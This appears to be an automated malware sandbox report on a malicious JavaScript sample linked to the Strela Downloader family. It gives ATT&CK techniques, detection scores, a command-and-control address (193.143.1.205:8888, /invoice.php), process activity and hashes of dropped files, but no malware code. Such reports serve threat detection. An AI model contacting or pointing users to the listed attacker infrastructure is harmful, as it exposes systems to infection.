Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1474915939307712026.js	5%	Virustotal		Browse
1474915939307712026.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/n	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Yd	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/=d	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3377061747.000002697CEA6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2156098998.000002697E600000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2140800366.0000016A80663000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Yd	net.exe, 00000007.00000002.2140800366.0000016A80663000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/n	net.exe, 00000007.00000002.2140800366.0000016A80663000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/=d	net.exe, 00000007.00000002.2140800366.0000016A80663000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587804
Start date and time:	2025-01-10 18:09:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1474915939307712026.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/53@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 50.16.47.176, 34.237.241.83, 18.213.11.84, 54.224.241.105, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 2.16.168.105, 2.16.168.107, 13.107.246.45, 20.109.210.53, 96.17.64.171
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:10:31	API Interceptor	24x Sleep call for process: powershell.exe modified
12:10:35	API Interceptor	1x Sleep call for process: net.exe modified
12:10:36	API Interceptor	2x Sleep call for process: svchost.exe modified
12:10:48	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	498419465975031972.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2486775641261320080.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	647915480318827205.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	47011380785516565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	498419465975031972.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2649727971102843099.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307177880461465
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugY:gJjJGtpTq2yv1AuNZRY3diu8iBVqF2
MD5:	3692DA1083295CEAAFBB872A43FC7703
SHA1:	60AF1E4D7D9A81BB70F7CB9B0D5C67DEBE44E6AE
SHA-256:	B2AE7595FB4A94AD5F57A89B3CEA2A820F9BE27359F351F7D95D4BE490E726FD
SHA-512:	9B45D062DB54E1923322ACB2EB9A374E8CE0C1DE7E40C9F7C89E996AD99CEE9649FDCB04D313B37FF5FAD37A088C2117917337E3D07001280A9073E9FA60C7BC
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x36835f02, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585560257191388
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:haza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	DB302258F3E415DD2FA4245249A2D845
SHA1:	76A372330098D9ED456AEEE13709812EEC07BEF1
SHA-256:	1C55E7AEC21F3C7CA618F1F2299345F2D636E0FAC88BA4D898D468FB1E7AD90D
SHA-512:	61D56CFA3DE1B20CA65C3C7588AFEC1A5E565C10F0BF24B8DAC52CD4DAC602001BF9F1486A34492C26543C0F0A743A0B29E86E6B6C55CC3A24C6871975FAEBE5
Malicious:	false
Preview:	6._.... ...............X\...;...{......................0.z..........{..%....}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{......................................%....}.................._."%....}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08081396132527074
Encrypted:	false
SSDEEP:	3:KoXKYe3siwyekGuAJkhvekl1GAssltAllrekGltll/SPj:KoKz31trxljtAJe3l
MD5:	5F7638886665A5CA6F5100482A38DDF7
SHA1:	82BBCBA569AAF60AFD653DCA17664779AFDD4179
SHA-256:	DA00559AD9DECA880ADDC219E45FDA05BFD39A30F3A2EA6F8F5285DD381C6F4E
SHA-512:	990CF6A8F47FB4677CB2BC38B61EBC849AC7661B94DEEF025150A8509755D1D7763B22937DB21AE8C98DF01F1A21CB8F7374342C7B20CAB9E9E7A45FE78935F2
Malicious:	false
Preview:	........................................;...{..%....}.......{...............{.......{...XL......{..................._."%....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.10867651215189
Encrypted:	false
SSDEEP:	6:iO4pSVq2P92nKuAl9OmbnIFUtSZgZmwsZIkwO92nKuAl9OmbjLJ:70Ov4HAahFUtt/d5LHAaSJ
MD5:	F50B740145177ECE31482CD98EFFE5E0
SHA1:	8F719C42B0267F5696AA448A732BB798384A1ED9
SHA-256:	86DCFF3C6DD513ECDB79625FE14F56A3E9381A581690C02E5C8040CD335C75D8
SHA-512:	E3A1D002EAAC708735231F084DE3E0B58CF3B6264925766338268DDACD02AFF4D9A88D36D2E2785D42B89317655F42A3628D2538340955A07F319D3345017243
Malicious:	false
Preview:	2025/01/10-12:10:37.074 f20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:10:37.077 f20 Recovering log #3.2025/01/10-12:10:37.077 f20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.10867651215189
Encrypted:	false
SSDEEP:	6:iO4pSVq2P92nKuAl9OmbnIFUtSZgZmwsZIkwO92nKuAl9OmbjLJ:70Ov4HAahFUtt/d5LHAaSJ
MD5:	F50B740145177ECE31482CD98EFFE5E0
SHA1:	8F719C42B0267F5696AA448A732BB798384A1ED9
SHA-256:	86DCFF3C6DD513ECDB79625FE14F56A3E9381A581690C02E5C8040CD335C75D8
SHA-512:	E3A1D002EAAC708735231F084DE3E0B58CF3B6264925766338268DDACD02AFF4D9A88D36D2E2785D42B89317655F42A3628D2538340955A07F319D3345017243
Malicious:	false
Preview:	2025/01/10-12:10:37.074 f20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:10:37.077 f20 Recovering log #3.2025/01/10-12:10:37.077 f20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.145041630747791
Encrypted:	false
SSDEEP:	6:iO49t9+q2P92nKuAl9Ombzo2jMGIFUtS8Zmws8VkwO92nKuAl9Ombzo2jMmLJ:7tv4HAa8uFUtj/n5LHAa8RJ
MD5:	84A9734ADEB58B712082FDB7CB915C87
SHA1:	9B2F75D1184A9BFDDD0E9335BBEA3FF09A4C74D6
SHA-256:	A2C1BD7F5CA184D2E573B3D5032C85B2A783E12D9AC6A3D90DA7739ADA452147
SHA-512:	A290F3B22B9669D7EC2201ECB20A1283BC92AEFB1180E81E9A0EE4CE9E03A14D40B4481ED85A2380DB681C6D10A8602ABCA2A1E594448998C6454D442625E732
Malicious:	false
Preview:	2025/01/10-12:10:37.090 738 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:10:37.091 738 Recovering log #3.2025/01/10-12:10:37.091 738 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.145041630747791
Encrypted:	false
SSDEEP:	6:iO49t9+q2P92nKuAl9Ombzo2jMGIFUtS8Zmws8VkwO92nKuAl9Ombzo2jMmLJ:7tv4HAa8uFUtj/n5LHAa8RJ
MD5:	84A9734ADEB58B712082FDB7CB915C87
SHA1:	9B2F75D1184A9BFDDD0E9335BBEA3FF09A4C74D6
SHA-256:	A2C1BD7F5CA184D2E573B3D5032C85B2A783E12D9AC6A3D90DA7739ADA452147
SHA-512:	A290F3B22B9669D7EC2201ECB20A1283BC92AEFB1180E81E9A0EE4CE9E03A14D40B4481ED85A2380DB681C6D10A8602ABCA2A1E594448998C6454D442625E732
Malicious:	false
Preview:	2025/01/10-12:10:37.090 738 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:10:37.091 738 Recovering log #3.2025/01/10-12:10:37.091 738 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.056458808032777
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq2MEsBdOg2H1caq3QYiubxnP7E4T3OF+:Y2sRdsJMpdMH03QYhbxP7nbI+
MD5:	867D3F741D0E83AF15625B290F2BD722
SHA1:	7932A87128C8ECDC4989F94C25A846C982789F64
SHA-256:	37E1C5E6D01CE3A32105CA55EEFA51ACC9748B0095CE6B90B0B532442CC02007
SHA-512:	84E7EFFFEF154171D164CA453F757ADAA74FE53E77B32D3CCDC372007FC9C450518BE61A6672DB68B157B5A3139DE0C25A71CB75A9866DB31AD455D2659819B6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381089048297209","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":121454},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\de721779-c9fd-48fb-abdb-2c6f220d5026.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.056458808032777
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq2MEsBdOg2H1caq3QYiubxnP7E4T3OF+:Y2sRdsJMpdMH03QYhbxP7nbI+
MD5:	867D3F741D0E83AF15625B290F2BD722
SHA1:	7932A87128C8ECDC4989F94C25A846C982789F64
SHA-256:	37E1C5E6D01CE3A32105CA55EEFA51ACC9748B0095CE6B90B0B532442CC02007
SHA-512:	84E7EFFFEF154171D164CA453F757ADAA74FE53E77B32D3CCDC372007FC9C450518BE61A6672DB68B157B5A3139DE0C25A71CB75A9866DB31AD455D2659819B6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381089048297209","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":121454},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.238369570797818
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUQTI6Wp:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLs
MD5:	9E71CBC93603FB05ADACF0A14040BD3E
SHA1:	1173838CFB59C40BB709783D35746EBAA0CFBAEA
SHA-256:	58CAED11CC8B224A287879937E4977E6B538D7F82ACCB5409F739B91AD617199
SHA-512:	22EC84DC76BD627CFE4BE6A5ACFFFD0FA1B9CCFD2F0447FE725FE5795163137793C64A9B74C3C72EB21C6F7F1E946147381250CE5F6DC69F1C67069693CF9BE1
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.1902950698104435
Encrypted:	false
SSDEEP:	6:iO41N+q2P92nKuAl9OmbzNMxIFUtSEJZmwsg9VkwO92nKuAl9OmbzNMFLJ:7jv4HAa8jFUtfJ/dD5LHAa84J
MD5:	C2452A1A93A470816883E77CE700F1E8
SHA1:	2135DE027710BF9A0F939F93297C4A571700C137
SHA-256:	934651B2F5C2DE31FB58EAE62B1BB48C0E81005298191836EAF9511D4ED6869D
SHA-512:	13098707AEDA1C48F182CC32DE49BCC7C33183F7A8E586F7BD2BDF467DCAD3A936DEE2BA61EC2018EA511C164E9DC6ED715F789A75C93F6088D8F969D45F3838
Malicious:	false
Preview:	2025/01/10-12:10:37.548 738 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:10:37.585 738 Recovering log #3.2025/01/10-12:10:37.637 738 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.1902950698104435
Encrypted:	false
SSDEEP:	6:iO41N+q2P92nKuAl9OmbzNMxIFUtSEJZmwsg9VkwO92nKuAl9OmbzNMFLJ:7jv4HAa8jFUtfJ/dD5LHAa84J
MD5:	C2452A1A93A470816883E77CE700F1E8
SHA1:	2135DE027710BF9A0F939F93297C4A571700C137
SHA-256:	934651B2F5C2DE31FB58EAE62B1BB48C0E81005298191836EAF9511D4ED6869D
SHA-512:	13098707AEDA1C48F182CC32DE49BCC7C33183F7A8E586F7BD2BDF467DCAD3A936DEE2BA61EC2018EA511C164E9DC6ED715F789A75C93F6088D8F969D45F3838
Malicious:	false
Preview:	2025/01/10-12:10:37.548 738 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:10:37.585 738 Recovering log #3.2025/01/10-12:10:37.637 738 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.775162490582081
Encrypted:	false
SSDEEP:	3:kkFkleinGltfllXlE/HT8k2NNX8RolJuRdxLlGB9lQRYwpDdt:kKHLeT8RNMa8RdWBwRd
MD5:	4227E74E6E8C8EA21958050A6C65B2D0
SHA1:	61DC568F61CEB8AB71780CF2C48F69AC694ED823
SHA-256:	3EC97DF34A60E67F0429A9E56BBAEEE4E9CE563F1A08F729BBF69C1F59DCB5D3
SHA-512:	B540BE4C5ACAAEF95A5A0C84A67181D070FDAC95492894DD20A1135F9A5A8D7BF90704F9D3B713633EFA28EBED4FF37EB9FAB6FA1A9F11DDCD3534656121E6D1
Malicious:	false
Preview:	p...... ........m$...c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2820

Download File

